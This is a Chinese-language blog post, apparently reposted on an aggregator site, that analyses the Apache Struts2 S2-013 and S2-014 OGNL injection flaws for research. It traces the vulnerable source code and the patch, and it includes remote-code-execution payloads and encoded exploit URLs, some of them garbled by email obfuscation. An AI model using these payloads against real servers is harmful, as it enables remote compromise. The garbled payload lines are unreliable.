S2

您所在的位置:网站首页 hivagab是什么检测013 S2

S2

2024-07-10 17:36| 来源: 网络整理| 查看: 265

前言

S2-014是对于S2-013修复不完整的造成的漏洞,会在漏洞分析中提到,所以文本的主要分析的还是S2-013

而且在分析的时候,发现参考网上资料时对于漏洞触发逻辑的一些错误 至少目前我自己是那么认为的:)

漏洞环境根据vulhub修改而来,环境地址 https://github.com/kingkaki/Struts2-Vulenv,感兴趣的师傅可以一起分析下

若有疏漏,还望多多指教

漏洞信息

https://cwiki.apache.org/confluence/display/WW/S2-013

struts2的标签中  和  都有一个 includeParams 属性,可以设置成如下值

none - URL中不包含任何参数(默认)get - 仅包含URL中的GET参数all - 在URL中包含GET和POST参数

当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

此时 或尝试去解析原始请求参数时,会导致OGNL表达式的执行

漏洞利用

不妨先来看下index.jsp中标签是怎么设置的

"s:a" tag

"s:url" tag

然后来测试一下最简单payload ${1+1}(记得编码提交 :)

http://localhost:8888/link.action?a=%24%7B1%2b1%7D

就可以看到返回的url中的参数已经被解析成了2

然后命令执行的payload

${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

编码后提交

http://localhost:8888/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%[email protected]@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D

漏洞分析

网上关于S2-013的分析将它的形成归结于

这里我先说明两点

我分析时的漏洞环境种xwork-core的版本是2.2.3,DefaultUrlHelper.class中的类全部在UrlHelper.class,但是代码逻辑并没有更改至于漏洞究竟是哪里触发的,可以根据弹出计算器在哪弹出来确定究竟是哪里触发的

我们可以从一开始的struts2-core-2.2.3.jar!/org/apache/struts2/components/Anchor.class:64中这两句开始关注

this.urlRenderer.beforeRenderUrl(this.urlProvider); this.urlRenderer.renderUrl(sw, this.urlProvider);

第一句是返回url之前的一些处理,第二句是返回url,从第一句开始打下断点,然后跟进去

果然还是来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:240的parseQueryString方法

但是可以看到,即使过了网上说的这个触发点,计算器依旧没有弹出

String translatedParamValue = translateAndDecode(paramValue);

仅仅是做了一个url编码的过程,然后就返回了,那就继续跟下去吧 最后做完了url的一些预先处理,又回到了之前下断点的下一句

step into进去之后来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/ServletUrlRenderer.class:39

public void renderUrl(Writer writer, UrlProvider urlComponent) { String scheme = urlComponent.getHttpServletRequest().getScheme(); if (urlComponent.getScheme() != null) { scheme = urlComponent.getScheme(); } ActionInvocation ai = (ActionInvocation)ActionContext.getContext().get("com.opensymphony.xwork2.ActionContext.actionInvocation"); String result; String _value; String var; if (urlComponent.getValue() == null && urlComponent.getAction() != null) { result = urlComponent.determineActionURL(urlComponent.getAction(), urlComponent.getNamespace(), urlComponent.getMethod(), urlComponent.getHttpServletRequest(), urlComponent.getHttpServletResponse(), urlComponent.getParameters(), scheme, urlComponent.isIncludeContext(), urlComponent.isEncode(), urlComponent.isForceAddSchemeHostAndPort(), urlComponent.isEscapeAmp()); } else ...

真正触发漏洞在这一个语句里面,不妨跟进去看一下

来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/Component.class:198

继续跟进最后一行的那个函数

来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:49的buildUrl函数中

前面做了一些url的处理,添加一些http(s)://之类的前缀,来到后面之后,116行有这样一句

if (escapeAmp) { buildParametersString(params, link); }

这里才是真正的开始build参数

继续step into之后struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:139

public static void buildParametersString(Map params, StringBuilder link, String paramSeparator) { if (params != null && params.size() > 0) { if (link.toString().indexOf("?") == -1) { link.append("?"); } else { link.append(paramSeparator); } Iterator iter = params.entrySet().iterator(); while(iter.hasNext()) { Entry entry = (Entry)iter.next(); String name = (String)entry.getKey(); Object value = entry.getValue(); if (value instanceof Iterable) { Iterator iterator = ((Iterable)value).iterator(); while(iterator.hasNext()) { Object paramValue = iterator.next(); link.append(buildParameterSubstring(name, paramValue.toString())); if (iterator.hasNext()) { link.append(paramSeparator); } } } else if (value instanceof Object[]) { Object[] array = (Object[])((Object[])value); for(int i = 0; i < array.length; ++i) { Object paramValue = array[i]; link.append(buildParameterSubstring(name, paramValue.toString())); .....

取出参数值之后放入了一个数组中,再经过了buildParameterSubstring方法

buildParameterSubstring方法就在这段代码后面

private static String buildParameterSubstring(String name, String value) { StringBuilder builder = new StringBuilder(); builder.append(translateAndEncode(name)); builder.append('='); builder.append(translateAndEncode(value)); return builder.toString(); }

也就是这里,这时url解码之后的translateAndEncode(value)才真正的造成了代码的执行,才弹出了计算器

补一段translateAndEncode和translateVariable的代码,其实就刚才逻辑分析的下面

public static String translateAndDecode(String input) { String translatedInput = translateVariable(input); String encoding = getEncodingFromConfiguration(); try { return URLDecoder.decode(translatedInput, encoding); } catch (UnsupportedEncodingException var4) { LOG.warn("Could not encode URL parameter '" + input + "', returning value un-encoded", new String[0]); return translatedInput; } } private static String translateVariable(String input) { ValueStack valueStack = ServletActionContext.getContext().getValueStack(); String output = TextParseUtil.translateVariables(input, valueStack); return output; } 漏洞修复

在S2-013中用于验证的poc为

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#[email protected]@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}

于是官方就限制了%{(#exp)}格式的OGNL执行,从而造成了S2-014

因为还有%{exp}形式的漏洞,让我们一起看下最终的修补方案

重点自然是放在了DefauiltUrlHlper.class中

将之前的translateAndEncode更改成了encode

public String encode(String input) { try { return URLEncoder.encode(input, this.encoding); } catch (UnsupportedEncodingException var3) { if (LOG.isWarnEnabled()) { LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", new String[]{input}); } return input; } }

只支持简单的url解码

之前触发的点也将函数换成了decode

Reference Links

https://github.com/vulhub/vulhub/tree/master/struts2/s2-013

https://cwiki.apache.org/confluence/display/WW/S2-013

https://cwiki.apache.org/confluence/display/WW/S2-014



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3